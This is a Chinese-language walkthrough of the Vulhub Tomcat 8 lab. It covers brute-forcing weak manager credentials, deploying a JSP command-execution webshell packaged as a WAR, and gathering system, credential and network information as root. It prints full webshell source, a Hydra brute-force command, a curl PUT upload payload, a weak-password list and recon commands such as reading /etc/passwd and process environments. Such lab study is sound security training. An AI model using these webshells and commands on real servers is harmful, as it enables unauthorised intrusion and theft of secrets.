Vulhub 靶场:Tomcat8 弱口令与 WAR 包上传漏洞复现
目录
- 靶场信息
- 原理讲透
- 实战触发信号:什么时候想到这套打法
- 环境准备
- 攻击完整流程(手把手)
- [拿到 shell 后做什么(信息收集)](#拿到 shell 后做什么(信息收集))
- [URL 编码速查](#URL 编码速查)
- 连接蚁剑:先搞懂它是什么
- 踩坑指南
- 扩展思考
- 笔记联动对照
- 总结
- [附录:完整 Payload 速查](#附录:完整 Payload 速查)
一、靶场信息
| 项 | 值 |
|---|---|
| 靶场 | Vulhub Tomcat 8.0 |
| 漏洞类型 | 弱口令 + WAR 包上传 Getshell |
| 危险等级 | 高危 |
| CVE | 无(默认配置错误,不是程序漏洞) |
| 实战用时 | 约 60 分钟(含踩坑) |
目标 :http://127.0.0.1:8080
预期结果:拿到容器 root 权限
二、原理讲透
2.1 Tomcat 是什么
Tomcat 是 Apache 的开源 Java Servlet 容器,常作为 Java Web 应用服务器。它身兼两职:既是处理 HTTP 请求的 Web 服务器,又是执行 Servlet/JSP 的容器。很多 Java 网站(包括大量内网系统、后台管理)跑在 Tomcat 上,所以它成了渗透里高频遇到的目标。
2.2 manager 控制台与认证机制
Tomcat 内置一个叫 Manager App 的 Web 管理界面,路径 /manager/html。它本质是一个部署在 Tomcat 内部的 Web 应用,提供:
- 查看 JVM / 连接池状态
- 部署、卸载、启停应用
- 上传 WAR 包热部署
认证靠 Tomcat 的 Realm(安全域) 机制,最常用的是 UserDatabaseRealm,用户信息写在 conf/tomcat-users.xml。每个用户绑定若干 role,role 决定能干什么:
| role | 权限 |
|---|---|
manager-gui |
访问 HTML 管理界面(/manager/html) |
manager-script |
访问纯文本接口(/manager/text/*,脚本上传 WAR 用) |
manager-jmx |
JMX 代理接口 |
manager-status |
只读状态页 |
admin-gui / admin-script |
Host Manager 的 GUI / 脚本权限 |
本次靶场账号 tomcat:tomcat 同时拥有 manager-gui 和 manager-script,所以既能登录 Web 界面,也能用脚本接口传 WAR------两条路都通。
2.3 弱口令的本质
这不是 CVE 漏洞,是配置错误------管理员没改默认/弱密码。真实环境里弱口令的常见来源:
- 默认密码没改(
tomcat:tomcat出厂即存在) - 备份文件泄露(
tomcat-users.xml.bak、.old) .git目录泄露提交过的配置文件- 目录遍历/任意文件读取读到该文件
配置错误类漏洞和 CVE 的区别:前者不依赖程序缺陷,靠的是"人没做该做的安全配置",所以补丁打全也可能中招。
2.4 Basic 认证机制(为什么抓包能看到明文)
Tomcat manager 用 HTTP Basic 认证 。客户端把 用户名:密码 做 Base64 编码,塞进请求头 Authorization: Basic <base64>。
Authorization: Basic dG9tY2F0OnRvbWNhdA==
↑ Base64("tomcat:tomcat")
关键点:Base64 不是加密,只是编码。抓包就能直接解码出明文。这也是为什么内网/明文 HTTP 下弱口令等于裸奔。Basic 认证默认没有失败次数锁定,所以爆破特别好使------试错不封 IP。
2.5 WAR 部署原理
WAR = Web Application Archive,本质是个 ZIP 包,符合 Java EE 规范。Tomcat 的 Host 配置 autoDeploy="true" 时,把 WAR 放到 webapps 目录或经 manager 上传,Tomcat 会自动:解压 → 部署 → 映射成可访问的 Web 应用。
规则:
- WAR 文件名(去掉 .war)= 访问 URL 的上下文路径(context path)
- 上传
myapp.war→ 访问http://host:8080/myapp/ - WAR 根下的
test.jsp→http://host:8080/myapp/test.jsp
坑点 :WAR 内部结构必须正确------entry 名是相对 webapp 根的路径。如果打包时多套了一层目录 shell_build/test.jsp,访问路径变成 /myapp/shell_build/test.jsp,容易 404。这就是为什么 PowerShell 自带的 Compress-Archive 不能直接用(它保留目录层级)。
2.6 JSP 执行原理
JSP(Java Server Pages)不是直接执行的。Tomcat 的 Jasper 引擎先把 JSP 翻译成 Java Servlet 源码(.java),再编译成字节码(.class),最后由 JVM 执行。所以 JSP 里能写任意 Java 代码。
一句话木马的核心是 Runtime.getRuntime().exec(...)------Java 调起操作系统进程执行命令。我们传 -c 给 /bin/sh,让 shell 解释整条命令(支持管道、重定向、分号),把 URL 参数 cmd 作为命令传入:
java
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});
攻击者完全控制命令执行 → RCE。
和 PHP 一句话对比:
| PHP | JSP | |
|---|---|---|
| 执行 API | eval() |
Runtime.exec() |
| 执行对象 | PHP 代码 | 系统命令 |
| 本质 | 服务端执行攻击者输入 | 服务端执行攻击者输入 |
两者都是"服务端执行攻击者控制的输入",只是语言机制不同。
2.7 为什么是 root
Vulhub 靶场里 Tomcat 以 root 运行(容器默认)。真实环境里 Java 应用常以专用低权限用户运行,但也不少仍以 root 跑。拿到 shell 后第一件事 id 确认权限。
2.8 完整攻击链
1. 扫端口 → 发现 8080
↓
2. 访问 /manager/html → 弹登录框(确认 Tomcat + manager 存在)
↓
3. 弱口令爆破 → tomcat:tomcat 登录成功
↓
4. 准备 JSP WebShell → 打包成 WAR
↓
5. 上传 WAR 到 /manager/html → Tomcat 自动部署
↓
6. 访问 /部署名/test.jsp?cmd=whoami → 执行任意命令
↓
7. 拿到 root → 信息收集 / 读 flag / 横向移动
三、实战触发信号:什么时候想到这套打法
这是新手最容易卡的地方------看到一台机器不知道往哪想。Tomcat 这套打法的触发信号按时间顺序:
3.1 端口扫描阶段
| 信号 | 想到什么 |
|---|---|
| 开放 8080 | Java 中间件嫌疑,优先想 Tomcat |
| 开放 8009 | AJP 协议端口(Tomcat 专有,Ghostcat 漏洞 CVE-2020-1938 入口) |
| 开放 8005 | Tomcat shutdown 端口 |
| 8080 但响应不像 Tomcat | 也可能是 Jenkins、其他 Java 应用,要指纹识别 |
3.2 指纹识别阶段
访问 http://IP:8080,看这些特征确认是不是 Tomcat:
- 默认欢迎页有猫 logo + "Congratulations!" 字样
- 响应头
Server: Apache-Coyote/1.1或Apache Tomcat - 访问
/manager/html弹登录框(即使是 401/403,说明路径存在)
注意 :8080 不一定都是 Tomcat。用响应头 Server、默认页特征、/manager/html 是否存在来确认,别想当然。
3.3 发现管理端阶段
只要看到一个 Web 管理后台 / 登录框,第一反应就应该是:试弱口令字典。
管理端弱口令是 Java 中间件的通病,不只是 Tomcat:
| 中间件 | 管理端路径 | 弱口令后能干啥 |
|---|---|---|
| Tomcat | /manager/html | 上传 WAR 部署 → RCE |
| WebLogic | /console | 部署应用 / 任意文件上传 → RCE |
| JBoss | /jmx-console, /admin-console | 部署 WAR → RCE |
| WebSphere | /ibm/console | 部署应用 → RCE |
| GlassFish | /manager | 部署应用 → RCE |
统一思路:找管理端 → 弱口令 → 部署恶意应用/WAR → RCE。Tomcat 只是其中最常见的一种。
3.4 弱口令成功之后
登录 manager 成功,立刻想到 WAR 包上传。这是 Tomcat 管理端最直接的 getshell 路径,比找其他漏洞快得多。
3.5 决策树
端口扫描发现 8080
├─ 指纹确认是 Tomcat?
│ ├─ 是 → 访问 /manager/html
│ │ ├─ 弹登录框 → 试弱口令字典
│ │ │ ├─ 成功 → 上传 WAR getshell
│ │ │ └─ 失败 → 换爆破 / 找 PUT 方法 / 找其他漏洞
│ │ └─ 404 不存在 → 放弃 manager 路线,找其他入口
│ └─ 否(Jenkins 等)→ 按对应中间件思路打
└─ 还有 8009 → 顺便查 Ghostcat (CVE-2020-1938)
四、环境准备
4.1 启动 Vulhub Tomcat 8 靶场
powershell
# 1. 设置代理(如果用 Clash 等代理软件,命令行需手动设置)
$env:http_proxy="http://127.0.0.1:7890"
$env:https_proxy="http://127.0.0.1:7890"
# 2. 进入靶场目录
E:
cd E:\网安\vulhub\tomcat\tomcat8
# 3. 启动(首次会拉镜像,约 200MB)
docker-compose up -d
# 4. 验证
docker ps
预期看到 :tomcat8-tomcat-1 Up X minutes 0.0.0.0:8080->8080/tcp
4.2 准备工具
| 工具 | 用途 |
|---|---|
| 浏览器 | 访问 Tomcat manager 和 WebShell |
| PowerShell | 写 JSP 文件、打 WAR 包 |
| 蚁剑(可选) | 可视化 WebShell 管理 |
五、攻击完整流程(手把手)
第 1 步:访问 Tomcat 首页
操作 :浏览器打开 http://127.0.0.1:8080
预期看到:Tomcat 默认欢迎页(猫 logo + "Congratulations!")
页面上几个按钮:
- Server Status - 查看服务器状态
- Manager App - 弱口令爆破入口(重点)
- Host Manager - 虚拟主机管理
第 2 步:点击 Manager App,弹出登录框
操作 :点击右上角 Manager App
预期看到:浏览器弹出 HTTP Basic 认证框(用户名+密码)
第 3 步:弱口令登录
操作 :输入 tomcat / tomcat,点确定
成功标志:进入 Tomcat Web Application Manager 页面,看到:
- 顶部:当前部署应用列表
- 底部:WAR file to deploy(WAR 包上传区域)
失败标志:再次弹出认证框,说明密码不对,需要换其他弱口令或爆破。
补充(Basic 认证原理):HTTP Basic 认证是 Base64 编码(非加密)的账号密码,抓包直接能看到明文。这也是弱口令在 Basic 认证上特别容易被爆破的原因------默认没有失败锁定。
第 4 步:查看配置文件确认弱口令(真实渗透的替代路径)
靶场里我们直接读了 tomcat-users.xml。真实渗透中配置泄露 是拿到弱口令的常见途径------.git 目录、备份文件(tomcat-users.xml.bak)、目录遍历等。
powershell
cd E:\网安\vulhub\tomcat\tomcat8
cat tomcat-users.xml
预期看到:
xml
<tomcat-users>
<user username="tomcat" password="tomcat"
roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
关键 :角色包含 manager-gui 和 manager-script,前者给 Web UI 权限,后者给 API 上传 WAR 权限。
第 5 步:编写 JSP 一句话muma
创建 JSP 文件:
powershell
mkdir E:\网安\vulhub\tomcat\tomcat8\shell_build
# 用 Here-String 写入 JSP(带 BufferedReader 读取多行输出)
@'
<%@ page import="java.util.*,java.io.*"%>
<%
try {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
} catch (Exception e) {
out.println("Error: " + e.getMessage());
}
%>
'@ | Set-Content -Path E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp -Encoding UTF8
验证:
powershell
cat E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp
JSP 代码逐行讲解:
| 行 | 代码 | 作用 |
|---|---|---|
| 1 | <%@ page import="java.util.*,java.io.*"%> |
导入 Java 类(BufferedReader、Process 等) |
| 2 | <% |
JSP 脚本开始标记 |
| 3 | Runtime.getRuntime().exec(...) |
Java 执行系统命令的 API |
| 3 | request.getParameter("cmd") |
取 URL 里 ?cmd=xxx 的值 |
| 4 | new InputStreamReader(p.getInputStream()) |
把命令输出转成字符流 |
| 5 | BufferedReader br = new ... |
缓冲读取(支持逐行) |
| 6 | while ((line = br.readLine()) != null) |
逐行读取 |
| 7 | out.println(line) |
输出到 HTTP 响应 |
| 9 | catch (Exception e) |
异常处理(防止崩) |
第 6 步:打包成 WAR(关键易错点)
为什么不用 Compress-Archive?
PowerShell 自带的 Compress-Archive 会保留目录结构 ,导致 WAR 里有 shell_build/test.jsp 这种多余路径,部署后访问路径变成 /myapp/shell_build/test.jsp(404 错误)。
正确做法:用 .NET 的 ZipArchive 手动添加文件
powershell
# 1. 准备临时打包目录
$tmpDir = "C:\Users\ASUS\shell_pack"
Remove-Item $tmpDir -Recurse -ErrorAction SilentlyContinue # 删除旧的(如有)
New-Item -ItemType Directory -Path $tmpDir | Out-Null
# 2. 复制 JSP 到临时目录根
Copy-Item E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp $tmpDir\
# 3. 用 ZipArchive 打包(手动添加,确保 entry 名 = 文件名)
Add-Type -AssemblyName System.IO.Compression.FileSystem
Add-Type -AssemblyName System.IO.Compression
# 用时间戳生成唯一文件名(避免文件占用冲突)
$timestamp = Get-Date -Format "HHmmss"
$warPath = "C:\Users\ASUS\myapp_$timestamp.war"
# 创建并写入
$fileStream = [System.IO.File]::Create($warPath)
$archive = New-Object System.IO.Compression.ZipArchive($fileStream, [System.IO.Compression.ZipArchiveMode]::Create)
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($archive, "$tmpDir\test.jsp", "test.jsp", [System.IO.Compression.CompressionLevel]::Optimal) | Out-Null
$archive.Dispose()
$fileStream.Dispose()
# 4. 验证 WAR 包结构(关键!)
$zip = [System.IO.Compression.ZipFile]::OpenRead($warPath)
Write-Host "WAR 包文件数: $($zip.Entries.Count)"
foreach ($entry in $zip.Entries) {
Write-Host " $($entry.FullName)"
}
$zip.Dispose()
预期输出:
WAR 包文件数: 1
test.jsp ← 必须在根目录,不能有 shell_build/ 前缀
错误输出:
WAR 包文件数: 1
shell_build\test.jsp ← 多了一层目录,会导致 404
第 7 步:上传 WAR 到 Tomcat Manager
操作:
- 浏览器打开
http://127.0.0.1:8080/manager/html - (如已掉登录,重新输入
tomcat / tomcat) - 滚到页面底部 WAR file to deploy 区域
- 点击 选择文件 → 选
C:\Users\ASUS\myapp_<时间戳>.war - 点击 Deploy 按钮
- 等 3-5 秒(Tomcat 解压 + 部署)
成功标志 :Applications 列表多出一行 /myapp_<时间戳>,状态 Running: true
第 8 步:执行命令测试
浏览器访问:
http://127.0.0.1:8080/myapp_163558/test.jsp?cmd=whoami
预期看到:
root
完成!拿下 Tomcat 容器 root 权限。
六、拿到 shell 后做什么(信息收集)
6.1 基础信息收集
| URL | 看到什么 | 实战命令 |
|---|---|---|
?cmd=id |
确认权限 | uid=0(root) gid=0(root) |
?cmd=pwd |
当前目录 | /usr/local/tomcat |
?cmd=hostname |
主机名 | 容器 ID |
?cmd=cat+/etc/issue |
系统版本 | Debian 10 等 |
?cmd=ls+/ |
根目录 | Linux 标准结构 |
6.2 网络信息收集
| URL | 作用 |
|---|---|
?cmd=cat+/etc/hosts |
主机名映射(Docker 网络里的其他容器) |
?cmd=ip+addr 或 ?cmd=ifconfig |
网卡信息 |
?cmd=env |
环境变量(经常藏敏感信息) |
6.3 文件系统探索
| URL | 作用 |
|---|---|
?cmd=ls+-la+/usr/local/tomcat/webapps |
所有部署的应用 |
?cmd=cat+/usr/local/tomcat/conf/tomcat-users.xml |
完整用户配置 |
?cmd=find+/+-name+flag*+2>/dev/null |
找 flag 文件(CTF 场景) |
6.4 敏感信息收集
| URL | 作用 |
|---|---|
?cmd=cat+/proc/self/environ |
进程环境变量 |
?cmd=ps+aux |
所有进程(找数据库 / 后台服务) |
?cmd=netstat+-an 或 ?cmd=ss+-tlnp |
网络连接(找内网端口) |
七、URL 编码速查
执行 WebShell 命令时,URL 里的特殊字符必须编码:
| 字符 | 编码后 | 示例 |
|---|---|---|
| 空格 | + 或 %20 |
ls+/ 或 ls%20/ |
/ |
%2F |
cat%2Fetc%2Fpasswd |
& |
%26 |
cmd=ls+%26+id |
> |
%3E |
cmd=echo+hi%3Etest.txt |
< |
%3C |
cmd=echo+hi%3Ctest.txt |
实战技巧 :空格用 + 最方便,其他复杂命令可以用在线工具(如 urlencoder.org)辅助编码。
八、连接蚁剑:先搞懂它是什么
浏览器 + ?cmd= 已经能跑命令,但实战中蚁剑(AntSword)更方便:文件管理、虚拟终端、数据库连接一体化。不过本次实战里蚁剑始终没连上,根因是没搞懂它的工作原理。先把原理讲透,少走弯路。
8.1 核心认知:蚁剑是协议,不是"图形化 ?cmd= 发送器"
最容易踩的坑是以为"蚁剑 = 一个能发 ?cmd=whoami 的图形界面"。这个理解是错的。蚁剑是客户端 + 服务端的一套应用层协议,不是简单的命令转发。
浏览器打 shell:你发 ?cmd=whoami → JSP 跑 whoami → 返回文本 → 完
蚁剑打 shell:蚁剑发【按协议编码的请求】→ JSP 按协议解码 → 执行对应操作
→ 返回【蚁剑能解析的结构化数据】→ 蚁剑渲染成界面
两端要对称:
- 客户端有编码器(encoder):把要执行的指令按规则编码后再发出
- 服务端 shell 必须有对应的解码器(decoder):收到后反解码、执行、再按蚁剑约定的格式返回
- 两端不匹配 = 鸡同鸭讲
手写的那几个 JSP 本质都是"浏览器 shell"(接收 ?cmd=、打印文本),没实现蚁剑协议 。所以 curl 能跑通 whoami,蚁剑却报 {}------因为蚁剑发的根本不是 ?cmd=whoami,而是它协议里的结构化请求,你的 shell 看不懂、返回空,蚁剑解析失败就显示 {}。
8.2 浏览器 shell 和蚁剑 shell 是两回事
| 浏览器 shell | 蚁剑 shell | |
|---|---|---|
| 触发方式 | ?cmd=whoami |
蚁剑协议请求 |
| 能做的操作 | 跑单条命令、打印输出 | 列目录、读/写文件、虚拟终端、数据库 |
| 返回格式 | 纯文本(命令输出) | 蚁剑约定的结构化数据 |
| 手写难易 | 简单(Runtime.exec) | 必须实现协议,别手写 |
结论 :一个 Runtime.exec(cmd) 的 ?cmd= shell 只能干"跑命令打印文本"这一件事,干不了蚁剑的文件管理/终端。这是本次蚁剑始终连不上的最根本原因------不是配置问题,是 shell 形状不对。
8.3 什么时候想到用蚁剑
| 需求 | 浏览器 WebShell | 蚁剑 |
|---|---|---|
| Tab 补全 | 无 | 有 |
| 命令历史 | 无 | 有 |
| 文件管理界面 | 要写 JSP | 可视化 |
| 持续会话 | 一次性请求 | 持久连接 |
原则:浏览器 + URL 是学习原理最透明的方式(CTF 入门首选);大量命令交互、复杂操作用蚁剑/冰蝎/哥斯拉。但前提是 shell 得是蚁剑协议 shell,不然连不上。
8.4 浏览器 URL shell 模板(这个真的能用)
下面这个模板是浏览器 / curl 用的 ?cmd= shell ,在浏览器里 ?cmd=whoami 完美跑通。它不是蚁剑 shell,别指望用它直连蚁剑。
jsp
<%@ page import="java.util.*,java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
out.println("ok");
return;
}
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
} catch (Exception e) {
out.println("ERROR: " + e.getMessage());
}
%>
要点:
- 无参访问返回
ok(方便自己确认 shell 活着) - GET + URL 参数(最简单、最兼容)
- 出错返回
ERROR: ...(方便调试) /bin/sh -c包装(支持管道、重定向)
8.5 正确连接蚁剑的正路
想要蚁剑真连上,别手写 shell 去适配蚁剑,也别混用编码器。正确做法:
- 打开蚁剑 → 工具 → Shell 生成器
- 选语言 JSP,按目标 JDK 版本生成(Java 7 就用兼容 7 的模板)
- 把生成的 shell 传到目标
- 连接时编码器选和生成时对应的那一个 (default = 明文;加密版就填 16 字节密钥)
- 文件管理 + 虚拟终端都正常 = 真连上了
编码器匹配表:
| 编码器 | 通信方式 | 服务端要求 |
|---|---|---|
| default | 明文(参数传命令) | 生成器对应的明文 shell |
| base64 | POST + base64 加密 body | 生成器对应的 base64 解密 shell |
| rot13 | rot13 编码 | 生成器对应的 rot13 解码 shell |
实战建议 :优先用 default + 明文 shell ------简单可控、调试方便。需要过 WAF 才上 base64 加密。不管选哪个,shell 和编码器必须来自同一套生成配置。
8.6 本次踩坑根因归类(7 次失败都栽在这)
实测连这个 JSP 时踩了一堆坑,根因就两类:shell 没实现协议 + JDK/AES 参数踩雷。
| 失败 | 表面现象 | 真正根因 |
|---|---|---|
| 1 | java.util.Base64 不存在 |
用了蚁剑官方加密 shell 模板(Java 8 API),靶场是 Java 7 → 编译不过 |
| 2 | AES 密钥 3 字节报错 | 加密 shell 要求密钥 16/24/32 字节,填了 "ant"(3 字节)→ 非法 |
| 3 | base64 编码器把命令拼到 URL 路径 | 编码器(base64)和服务端 shell 解码方式不匹配 |
| 4 | 不带参数返回空 | 蚁剑"测试连接"发握手探针,shell 没返回能识别的标记 |
| 5 | 返回纯文本不是 JSON | 蚁剑解码器期望特定格式,纯文本 root 解析不了 |
| 6 | "测试连接"误判 | 测试连接对非标准 shell 本就不可靠 |
| 7 | JSON 版也没成 | 返回了 {"status":"success"},但操作请求 不是 ?cmd=,handler 处理不了蚁剑真正的文件管理请求 |
两条线缠在一起:用蚁剑官方加密 shell → 栽在 JDK 版本 + AES 参数;用自己 ?cmd= shell → 栽在"根本没实现蚁剑协议"。
技术深挖一:JDK 的 Base64 API 版本差异(失败 1)
| API | 可用 JDK 版本 | 说明 |
|---|---|---|
sun.misc.BASE64Decoder |
6 / 7 / 8(8 里废弃但还在) | 内部 API,非公开规范 |
java.util.Base64 |
8 及以上 | 公开标准 API |
javax.xml.bind.DatatypeConverter |
6~10 | 也可用 |
靶场是 Java 7.0_121 ,java.util.Base64 还没出生 → 编译报错。深层原理:sun.misc.* 是 JDK 内部包,不属于公开规范,版本差异巨大(Java 9 直接删了)。写 JSP shell 给未知目标,先确认 JDK 版本,或选跨版本最稳的 API。
技术深挖二:AES 密钥长度 / 块长度(失败 2、部分 5)
- 密钥长度 :AES 只支持 128 / 192 / 256 位 = 16 / 24 / 32 字节 。
"ant"是 3 字节,Cipher.init()直接抛InvalidKeyException。这是数学硬限制。 - 块长度 :AES 是分组密码,固定块大小 128 位 = 16 字节 ,密文长度必须是 16 的倍数。蚁剑"测试连接"发的探针 body 不是 16 字节整数倍 → 解密时
c.doFinal()抛IllegalBlockSizeException。
这点能反推一个事实:JSP 本身跑通了,是握手探针的密文不合法导致解密失败,不是 shell 写错。
8.7 为什么"测试连接"一直在骗你
蚁剑"测试连接"发的是一段特定探针 ,要求服务端返回它能识别的标记。你的 ?cmd= shell 连这段探针都接不住(只认 cmd 参数),自然返回空 → "返回数据为空"。
但即便测试连接过了,后续文件管理、虚拟终端照样会 {} ------那些操作发的不是 ?cmd=,而是蚁剑协议里的"列目录""读文件"请求,?cmd= handler 处理不了。所以"跳过测试连接直接添加"只在 shell 本身实现了协议 时才管用。本次两种 shell 都没实现,跳不跳都没用。
8.8 什么时候用什么工具
| 场景 | 推荐工具 |
|---|---|
| 学习原理、CTF 入门 | 浏览器 URL(最透明) |
| 日常调试、单条命令 | 浏览器 URL |
| 大量命令交互、复杂操作 | 蚁剑 / 冰蝎 / 哥斯拉(需协议 shell) |
| 流量要绕过 WAF | 蚁剑 + base64 编码器 + 加密 shell |
| 团队协同 / 多人共用 Shell | 冰蝎 + 服务器端 |
关键认知 :不要为了工具而工具。浏览器 + ?cmd= 已经能拿到 root,工具的价值是提升效率不是必需。工具卡了先用最朴素方案搞定目标,别和工具死磕。
九、踩坑指南
坑 1:Docker Desktop 500 错误
现象 :docker pull 报 500 Internal Server Error
原因 :Docker Desktop 的 WSL 2 后端没正常启动
解决:任务管理器结束 Docker Desktop 进程,重启
坑 2:PowerShell 没走代理
现象 :git clone 报连接超时,但浏览器能访问 GitHub
原因 :代理软件只代理浏览器,命令行需要手动设置环境变量
解决:
powershell
$env:http_proxy="http://127.0.0.1:7890"
$env:https_proxy="http://127.0.0.1:7890"
坑 3:WAR 包结构错误
现象 :访问 /shell/test.jsp 404
原因 :Compress-Archive 把整个目录打进去,导致 shell.war 内有 shell_build\test.jsp 多了一层目录
解决 :用 ZipArchive + CreateEntryFromFile 手动添加文件,entry 名直接是文件名
坑 4:WAR 包是空的
现象 :.NET ZipFile.CreateFromDirectory 打包出来 Entries.Count = 0
原因 :.NET 5+ API 行为变化,默认不包含文件
解决 :用 CreateEntryFromFile 逐个添加
坑 5:文件被占用
现象 :The process cannot access the file...
原因 :NTFS 默认锁定打开的文件
解决:用时间戳生成新文件名,避免覆盖旧文件
十、扩展思考
10.1 Tomcat PUT 上传 Getshell(无需弱口令)
如果 Tomcat 启用了 HTTP PUT 方法(默认关闭),可以直接 PUT 上传 JSP:
bash
curl -X PUT http://127.0.0.1:8080/test.jsp -d '<% Runtime.getRuntime().exec("whoami"); %>'
curl http://127.0.0.1:8080/test.jsp
判断方法:
bash
curl -X OPTIONS http://127.0.0.1:8080/
# 看到 Allow: PUT 表示启用了
修复方法 (运维角度):在 web.xml 里禁用 PUT 方法。
10.2 Tomcat 弱口令自动化检测
Hydra(爆破工具):
bash
hydra -L users.txt -P pass.txt -s 8080 127.0.0.1 http-get /manager/html
常见弱口令字典:
- tomcat:tomcat
- admin:admin
- admin:password
- root:root
- tomcat:s3cret
- admin:tomcat
10.3 Tomcat 其他攻击面
| 攻击面 | 危害 |
|---|---|
/examples/ |
默认应用漏洞(Servlet/JSP 示例代码) |
| AJP 8009 端口 | Ghostcat 漏洞(CVE-2020-1938) |
| JSP 反编译 | 拿到 .class 文件 → 反编译 → 看源代码 |
| 反序列化 | ObjectInputStream 反序列化漏洞 |
10.4 站库分离场景的延伸
本题是 单容器 Tomcat(应用和数据库在一起)。
真实场景 :Tomcat 在容器 A,MySQL 在容器 B(站库分离)。
下一步攻击 :拿到 Tomcat WebShell 后,从 context.xml 或 server.xml 找数据库连接字符串 → 横向到 MySQL 容器。
十一、总结
Tomcat 渗透核心三要素:
- manager 弱口令(爆破或字典)
- WAR 包结构正确(entry 名 = 文件名)
- JSP 一句话木马(Runtime.exec)
完整的渗透链路:
信息收集 → 弱口令 → WebShell 上传 → RCE → 信息收集 → 横向移动
学到的工具技能:
- PowerShell 代理设置(永久化到
$PROFILE) - .NET ZipArchive 打包(避坑 Compress-Archive)
- Docker 镜像拉取与容器管理
十二、附录:完整 Payload 速查
一句话muma
jsp
<%@ page import="java.util.*,java.io.*"%>
<%
try {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
} catch (Exception e) {
out.println("Error: " + e.getMessage());
}
%>
打包脚本
powershell
$tmpDir = "C:\Users\ASUS\shell_pack"
New-Item -ItemType Directory -Path $tmpDir -Force | Out-Null
Copy-Item E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp $tmpDir\
Add-Type -AssemblyName System.IO.Compression.FileSystem
Add-Type -AssemblyName System.IO.Compression
$ts = Get-Date -Format "HHmmss"
$warPath = "C:\Users\ASUS\myapp_$ts.war"
$fs = [System.IO.File]::Create($warPath)
$arch = New-Object System.IO.Compression.ZipArchive($fs, [System.IO.Compression.ZipArchiveMode]::Create)
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($arch, "$tmpDir\test.jsp", "test.jsp", [System.IO.Compression.CompressionLevel]::Optimal) | Out-Null
$arch.Dispose(); $fs.Dispose()
Write-Host "WAR: $warPath"
常用命令 URL
?cmd=id
?cmd=whoami
?cmd=pwd
?cmd=ls+-la
?cmd=cat+/etc/passwd
?cmd=env
?cmd=ip+addr
?cmd=hostname